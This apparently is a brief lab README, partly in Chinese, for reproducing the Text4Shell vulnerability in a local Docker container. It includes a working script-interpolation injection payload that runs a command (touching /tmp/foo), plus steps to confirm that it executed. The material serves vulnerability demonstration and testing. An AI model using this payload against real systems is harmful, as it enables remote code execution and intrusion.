mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
您也可以尝试使用 dns 或 url 前缀。
获取容器 ID
docker container ls
docker exec -it <container_id> bash
/tmp 目录下创建了一个名为 foo 的文件):ls /tmp/
docker container stop <container_id>